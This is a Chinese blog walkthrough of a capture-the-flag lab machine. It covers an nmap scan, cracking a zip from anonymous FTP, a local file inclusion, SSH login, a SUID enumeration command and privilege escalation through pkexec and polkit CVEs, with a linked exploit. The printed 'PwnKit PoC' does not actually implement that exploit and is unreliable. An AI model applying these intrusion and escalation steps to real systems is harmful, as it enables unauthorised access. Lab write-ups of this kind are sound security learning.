Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 15:28 CST
Nmap scan report for 10.3.175.136
Host is up (0.00038s latency).
Not shown: 65531 closed tcp ports (reset)
PORT   STATE    SERVICE VERSION
21/tcp open     ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.3.175.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 0        0             471 Sep 19  2021 respectmydrip.zip [NSE: writeable]
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:bb:af:6f:7d:a7:9d:65:a1:b1:a1:be:91:cd:04:28 (RSA)
|   256 a3:d3:c0:b4:c5:f9:c0:6c:e5:47:64:fe:91:c5:cd:c0 (ECDSA)
|_  256 4c:84:da:5a:ff:04:b9:b5:5c:5a:be:21:b6:0e:45:73 (ED25519)
53/tcp filtered domain
80/tcp open     http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/dripisreal.txt /etc/dripispowerful.html
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 00:0C:29:8A:20:6B (VMware)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.38 ms 10.3.175.136

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.98 seconds

可以看到开放了21、22、53、80端口,而且21端口那里有个 respectmydrip.zip文件,下载下来看一看

可以看到nmap扫描出来的ftp服务显示是不需要密码登录只需要anonymous用户登录即可

解压需要密码,可以暴力破解一下

第一次使用这个工具密码本可能没解压,参考以下步骤

成功破解出密码

怎么还有压缩包,好像爆破不出来密码

这句话什么意思我真不理解

你说这个drip会不会就是本地文件包含的参数名

还真是,已经获取到了密码,猜测应该是ssh连接密码,也有可能就是它虚拟机登录密码,都试一试

哭死还真的是登录密码

根目录下有个user..txt,看来就是flag了

查了wp发现还有一个flag,说是要提权,那就常规思路找一下suid程序

find / -perm -u=s -type f 2>/dev/null

非常关键的版本,这下就可以找公开的cve poc进行提权了

CVE-2021-4034(PwnKit)

而且还有pkexec程序,可以直接利用其进行提权

/* CVE-2021-4034 PwnKit exploit PoC */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
  "#!/bin/sh\n"
  "cp /bin/sh /tmp/rootsh\n"
  "chmod u+s /tmp/rootsh\n";

int main() {
  FILE *f = fopen("exploit.sh", "w");
  fputs(shell, f);
  fclose(f);
  system("chmod +x exploit.sh");
  char *argv[] = { "pkexec", NULL };
  execve("/usr/bin/pkexec", argv, NULL);
  return 0;
}

但是靶机上没有gcc,无法编译poc,所以只能在本地编译好再上传

成功上传

赋予权限,执行,发现靶机某个组件的版本貌似过低poc无法运行,所以得换poc

搜索了一番发现 polkit CVE-2021-3560 可以

https://github.com/Almorabea/Polkit-exploit

成功提权获得root权限

得到第二个flag

总结

1.fcrackzip压缩包密码爆破

2.robots.txt给出的网页访问不了可以考虑一下本地文件包含漏洞

3.scp命令利用ssh协议传输文件(有些靶机上缺少环境就可以利用本地环境编译好以后)

posted @ 2025-09-19 20:58  朱迪Judy  阅读(19)  评论(0)    收藏  举报